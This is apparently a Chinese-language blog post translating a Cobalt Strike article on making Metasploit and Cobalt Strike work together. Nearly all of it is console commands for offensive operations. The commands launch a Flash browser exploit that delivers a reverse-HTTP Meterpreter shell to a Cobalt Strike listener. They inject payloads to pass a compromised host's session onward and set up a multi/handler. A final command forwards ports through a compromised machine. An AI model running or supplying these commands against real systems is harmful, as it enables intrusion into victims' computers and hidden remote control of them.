Cobalt Strike 和 Metasploit Framework 联动
文章来源:https://blog.cobaltstrike.com/2016/01/05/interoperability-with-the-metasploit-framework/
MSF通过漏洞利用使得CS获得shell:
use exploit/multi/browser/adobe_flash_hacking_team_uaf
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [Cobalt Strike's IP or hostname]
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
exploit -j
将Meterpreter shell 分享给 Cobalt Strike :
use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set LHOST [IP address of compromised system]
set LPORT 80
set SESSION 1
set DisablePayloadHandler True
exploit -j
1.使用exploit/windows/local/payload_inject模块
2. 对于HTTP Beacon,将PAYLOAD设置为windows/meterpreter/reverse_http 或者 windows/meterpreter/reverse_https ,需要和CS一致
3.设置LHOST和LPORT指向您的Cobalt Strike侦听器。
4.将DisablePayloadHandler设置为True。
5.将SESSION设置为Meterpreter会话的会话ID
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP address of compromised system]
set LPORT 8443
set ExitOnSession False
exploit -j
PS:经过测试,只有 windows/meterpreter/reverse_tcp 可以用,http和https用不起,不知道什么原因
MSF设置完毕之后,需要在CS设置监听器,Payload选择foreign,端口和IP选择MSF监听端口和IP。随后在图形界面选择需要分享的shell,邮件单击【spawn】,就可以了
【rportfwd 4444 远程主机IP 3333】:这个命令将在肉鸡中新建4444监听端口,然后转发给远程主机中的3333端口
posted on 2020-07-15 10:44 thisismynickname 阅读(286) 评论(0) 编辑 收藏 举报